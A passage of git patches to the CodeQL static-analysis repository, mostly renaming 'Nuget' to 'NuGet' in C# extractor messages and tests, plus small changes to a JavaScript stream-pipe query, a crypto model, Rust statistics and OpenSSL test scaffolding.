NuGet feed '{feed}' is reachable..."); // Configure the HttpClient to be aware of the Dependabot Proxy, if used. HttpClientHandler httpClientHandler = new(); @@ -662,7 +662,7 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, try { ExecuteGetRequest(feed, client, cts.Token).GetAwaiter().GetResult(); - logger.LogInfo($"Querying Nuget feed '{feed}' succeeded."); + logger.LogInfo($"Querying NuGet feed '{feed}' succeeded."); return true; } catch (Exception exc) @@ -671,19 +671,19 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, tce.CancellationToken == cts.Token && cts.Token.IsCancellationRequested) { - logger.LogInfo($"Didn't receive answer from Nuget feed '{feed}' in {timeoutMilliSeconds}ms."); + logger.LogInfo($"Didn't receive answer from NuGet feed '{feed}' in {timeoutMilliSeconds}ms."); timeoutMilliSeconds *= 2; continue; } // We're only interested in timeouts. var start = allowExceptions ? "Considering" : "Not considering"; - logger.LogInfo($"Querying Nuget feed '{feed}' failed in a timely manner. {start} the feed for use. The reason for the failure: {exc.Message}"); + logger.LogInfo($"Querying NuGet feed '{feed}' failed in a timely manner. {start} the feed for use. The reason for the failure: {exc.Message}"); return allowExceptions; } } - logger.LogWarning($"Didn't receive answer from Nuget feed '{feed}'. Tried it {tryCount} times."); + logger.LogWarning($"Didn't receive answer from NuGet feed '{feed}'. Tried it {tryCount} times."); return false; } @@ -694,20 +694,20 @@ private bool IsFeedReachable(string feed, int timeoutMilliSeconds, int tryCount, : int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessInitialTimeout), out timeoutMilliSeconds) ? timeoutMilliSeconds : 1000; - logger.LogDebug($"Initial timeout for Nuget feed reachability check is {timeoutMilliSeconds}ms."); + logger.LogDebug($"Initial timeout for NuGet feed reachability check is {timeoutMilliSeconds}ms."); int tryCount = isFallback && int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessRequestCountForFallback), out tryCount) ? tryCount : int.TryParse(Environment.GetEnvironmentVariable(EnvironmentVariableNames.NugetFeedResponsivenessRequestCount), out tryCount) ? tryCount : 4; - logger.LogDebug($"Number of tries for Nuget feed reachability check is {tryCount}."); + logger.LogDebug($"Number of tries for NuGet feed reachability check is {tryCount}."); return (timeoutMilliSeconds, tryCount); } /// - /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files + /// Checks that we can connect to all NuGet feeds that are explicitly configured in configuration files /// as well as any private package registry feeds that are configured. /// /// Outputs the set of explicit feeds. @@ -727,28 +727,28 @@ private bool CheckFeeds(out HashSet explicitFeeds, out HashSet a var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); if (inheritedFeeds.Count > 0) { - logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); - compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString())); + logger.LogInfo($"Inherited NuGet feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); + compilationInfoContainer.CompilationInfos.Add(("Inherited NuGet feed count", inheritedFeeds.Count.ToString())); } return allFeedsReachable; } /// - /// Checks that we can connect to the specified Nuget feeds. + /// Checks that we can connect to the specified NuGet feeds. /// /// The set of package feeds to check. /// True if all feeds are reachable or false otherwise. private bool CheckSpecifiedFeeds(HashSet feeds) { - logger.LogInfo("Checking that Nuget feeds are reachable..."); + logger.LogInfo("Checking that NuGet feeds are reachable..."); var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck) .ToHashSet(); if (excludedFeeds.Count > 0) { - logger.LogInfo($"Excluded Nuget feeds from responsiveness check: {string.Join(", ", excludedFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Excluded NuGet feeds from responsiveness check: {string.Join(", ", excludedFeeds.OrderBy(f => f))}"); } var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false); @@ -756,17 +756,17 @@ private bool CheckSpecifiedFeeds(HashSet feeds) var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount)); if (!allFeedsReachable) { - logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis."); + logger.LogWarning("Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis."); diagnosticsWriter.AddEntry(new DiagnosticMessage( Language.CSharp, "buildless/unreachable-feed", - "Found unreachable Nuget feed in C# analysis with build-mode 'none'", + "Found unreachable NuGet feed in C# analysis with build-mode 'none'", visibility: new DiagnosticMessage.TspVisibility(statusPage: true, cliSummaryTable: true, telemetry: true), - markdownMessage: "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + markdownMessage: "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", severity: DiagnosticMessage.TspSeverity.Note )); } - compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0")); + compilationInfoContainer.CompilationInfos.Add(("All NuGet feeds reachable", allFeedsReachable ? "1" : "0")); return allFeedsReachable; } @@ -808,11 +808,11 @@ private IEnumerable GetFeeds(Func> getNugetFeeds) if (explicitFeeds.Count > 0) { - logger.LogInfo($"Found {explicitFeeds.Count} Nuget feeds in nuget.config files: {string.Join(", ", explicitFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Found {explicitFeeds.Count} NuGet feeds in nuget.config files: {string.Join(", ", explicitFeeds.OrderBy(f => f))}"); } else { - logger.LogDebug("No Nuget feeds found in nuget.config files."); + logger.LogDebug("No NuGet feeds found in nuget.config files."); } // todo: this could be improved. @@ -844,7 +844,7 @@ private IEnumerable GetFeeds(Func> getNugetFeeds) allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet(); } - logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Found {allFeeds.Count} NuGet feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}"); return (explicitFeeds, allFeeds); } diff --git a/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected index 1a10ae9ded54..700aa9a0469b 100644 --- a/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected index 1a10ae9ded54..700aa9a0469b 100644 --- a/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected index 19390ed2af26..f53cd8e15987 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected index 0b7107530f36..56fcaea92fbc 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected index 87266426bdac..cb8337c5eb86 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected index ee27a1cd9120..dfab1016a6b2 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resource extraction enabled | 1.0 | | Restored .NET framework variants | 1.0 | | Restored projects through solution files | 0.0 | diff --git a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected index cf2e7f2db702..6b06566033c3 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 1.0 | | Restored projects through solution files | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected index 53ebd1016fb7..3a74bcbd56ed 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 1.0 | | Failed solution restore with package source error | 0.0 | | Fallback nuget restore | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected index 777d615d99b9..5a7abcf543c8 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected @@ -1,9 +1,9 @@ -| All Nuget feeds reachable | 0.0 | +| All NuGet feeds reachable | 0.0 | | Fallback nuget restore | 1.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected index 865b03f23486..bbd2081f4554 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", @@ -27,12 +27,12 @@ } } { - "markdownMessage": "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + "markdownMessage": "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", "severity": "note", "source": { "extractorName": "csharp", "id": "csharp/autobuilder/buildless/unreachable-feed", - "name": "Found unreachable Nuget feed in C# analysis with build-mode 'none'" + "name": "Found unreachable NuGet feed in C# analysis with build-mode 'none'" }, "visibility": { "cliSummaryTable": true, diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py index f94325769a1e..9dcc8952b173 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py @@ -4,7 +4,7 @@ @runs_on.posix def test(codeql, csharp): - # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # Nuget feed check is enabled by default + # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # NuGet feed check is enabled by default os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_TIMEOUT"] = ( "1" # 1ms, the GET request should fail with such short timeout ) diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected index 9e869e1a6fb1..c53a17f0300d 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected @@ -1,8 +1,8 @@ -| All Nuget feeds reachable | 0.0 | +| All NuGet feeds reachable | 0.0 | | Fallback nuget restore | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 2.0 | +| Reachable fallback NuGet feed count | 2.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected index 865b03f23486..bbd2081f4554 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", @@ -27,12 +27,12 @@ } } { - "markdownMessage": "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + "markdownMessage": "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", "severity": "note", "source": { "extractorName": "csharp", "id": "csharp/autobuilder/buildless/unreachable-feed", - "name": "Found unreachable Nuget feed in C# analysis with build-mode 'none'" + "name": "Found unreachable NuGet feed in C# analysis with build-mode 'none'" }, "visibility": { "cliSummaryTable": true, diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py index 7f4bf019d00a..56bd28a23291 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py @@ -5,7 +5,7 @@ @runs_on.posix def test(codeql, csharp): - # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # Nuget feed check is enabled by default + # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # NuGet feed check is enabled by default os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_TIMEOUT"] = ( "1" # 1ms, the GET request should fail with such short timeout ) diff --git a/csharp/scripts/stubs/README.md b/csharp/scripts/stubs/README.md index 54a34b64d194..0d67d9bfb70b 100644 --- a/csharp/scripts/stubs/README.md +++ b/csharp/scripts/stubs/README.md @@ -1,6 +1,6 @@ # Generate stubs for a single NuGet package -Stubs can be generated from Nuget packages with the `make_stubs_nuget.py` script. +Stubs can be generated from NuGet packages with the `make_stubs_nuget.py` script. The following calls generate stubs for `Newtonsoft.Json`: @@ -13,7 +13,7 @@ python3 make_stubs_nuget.py classlib Newtonsoft.Json 13.0.1 /Users/tmp/working-d The output stubs are found in the `[DIR]/output/stubs` folder and can be copied over to `csharp/ql/test/resources/stubs`. -In some more involved cases the output files need to be edited. For example `ServiceStack` has Nuget dependencies, which +In some more involved cases the output files need to be edited. For example `ServiceStack` has NuGet dependencies, which are included in the `Microsoft.NETCore.App` framework stub. These dependencies generate empty packages, which can be removed. The `ProjectReference` entries referencing these removed empty packages also need to be deleted from the `.csproj` files. From 298ef9ab129a8b90a0187716d03c5b38825227d6 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 11:01:41 +0200 Subject: [PATCH 478/535] Now able to track error handler registration via instance properties --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 7 +++++++ .../query-tests/Quality/UnhandledStreamPipe/test.expected | 1 - .../ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js | 2 +- 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d3a0af8786e1..c88a3e622238 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -227,6 +227,13 @@ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { stream = base.getAPropertyRead(propName) and base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration ) + or + exists(DataFlow::PropWrite propWrite, DataFlow::SourceNode instance | + propWrite.getRhs().getALocalSource() = stream and + instance = propWrite.getBase().getALocalSource() and + instance.getAPropertyRead(propWrite.getPropertyName()).getAMethodCall(_) instanceof + ErrorHandlerRegistration + ) ) ) or diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 99d6ed002d92..1b01574112d5 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -16,5 +16,4 @@ | tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js index 3d962974fb89..46bf969255f8 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -70,7 +70,7 @@ class StreamWrapper2 { function zip5() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper2(); - wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.pipe(zipStream); zipStream.on('error', e); } From c981c4fe3056eaaffbacb011fa11468b3a675249 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 13:34:47 +0200 Subject: [PATCH 479/535] Update javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md Co-authored-by: Asger F --- .../ql/lib/change-notes/2025-05-30-url-package-taint-step.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md index 75b975f88681..f875f796415f 100644 --- a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md +++ b/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Added taint flow through the `URL` constructor in request forgery detection, improving the identification of SSRF vulnerabilities. +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. From d0739b21e588e29e71b3bd31905b3fd9a1fd6514 Mon Sep 17 00:00:00 2001 From: Fredrik Dahlgren Date: Mon, 2 Jun 2025 15:37:33 +0200 Subject: [PATCH 480/535] Restricted signature input nodes to verify nodes --- shared/quantum/codeql/quantum/experimental/Model.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index c8b52080ca96..10875a49b687 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -2173,7 +2173,8 @@ module CryptographyBase Input> { override NodeBase getChild(string key) { result = super.getChild(key) or - // [KNOWN_OR_UNKNOWN] + // [KNOWN_OR_UNKNOWN] - only if we know the type is verify + this.getKeyOperationSubtype() = TVerifyMode() and key = "Signature" and if exists(this.getASignatureArtifact()) then result = this.getASignatureArtifact() From 5c21c01ad0da37b304ed2114d55b61ba886990ca Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 2 Jun 2025 15:42:43 +0200 Subject: [PATCH 481/535] Update rust/ql/src/queries/summary/Stats.qll --- rust/ql/src/queries/summary/Stats.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 88411aa2db3b..1feaf3ab48b2 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -35,7 +35,7 @@ int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLines * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | f.fromSource() and exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(ExtractedFile f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** From 0de6647927705b1123bd10b657b7f3a40fc5f490 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 14:35:14 -0400 Subject: [PATCH 482/535] Crypto: Adding initial openssl tests, fixing a bug in hash modeling found through tests, and updating CODEOWNERS for quantum tests --- CODEOWNERS | 2 +- .../experimental/quantum/OpenSSL/CtxFlow.qll | 14 +- .../OpenSSL/Operations/EVPCipherOperation.qll | 4 +- .../OpenSSL/Operations/EVPHashOperation.qll | 15 +- .../openssl/cipher_key_sources.expected | 2 + .../quantum/openssl/cipher_key_sources.ql | 6 + .../openssl/cipher_nonce_sources.expected | 2 + .../quantum/openssl/cipher_nonce_sources.ql | 6 + .../openssl/cipher_operations.expected | 8 + .../quantum/openssl/cipher_operations.ql | 6 + .../openssl/cipher_plaintext_sources.expected | 1 + .../openssl/cipher_plaintext_sources.ql | 6 + .../openssl/hash_input_sources.expected | 2 + .../quantum/openssl/hash_input_sources.ql | 6 + .../quantum/openssl/hash_operations.expected | 2 + .../quantum/openssl/hash_operations.ql | 5 + .../openssl/includes/alg_macro_stubs.h | 3741 +++++++++++++ .../quantum/openssl/includes/evp_stubs.h | 4986 +++++++++++++++++ .../quantum/openssl/includes/rand_stubs.h | 3 + .../quantum/openssl/openssl_basic.c | 221 + 20 files changed, 9028 insertions(+), 10 deletions(-) create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_key_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_key_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_nonce_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_nonce_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_plaintext_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_plaintext_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_input_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_input_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c diff --git a/CODEOWNERS b/CODEOWNERS index 96aa46df9495..7233623d4528 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -16,7 +16,7 @@ /java/ql/test-kotlin2/ @github/codeql-kotlin # Experimental CodeQL cryptography -**/experimental/quantum/ @github/ps-codeql +**/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql # CodeQL tools and associated docs diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll index cbce19fb5dfe..38b49b8d9010 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll @@ -29,7 +29,19 @@ import semmle.code.cpp.dataflow.new.DataFlow * - EVP_PKEY_CTX */ private class CtxType extends Type { - CtxType() { this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") } + CtxType() { + // It is possible for users to use the underlying type of the CTX variables + // these have a name matching 'evp_%ctx_%st + this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") + or + // In principal the above check should be sufficient, but in case of build mode none issues + // i.e., if a typedef 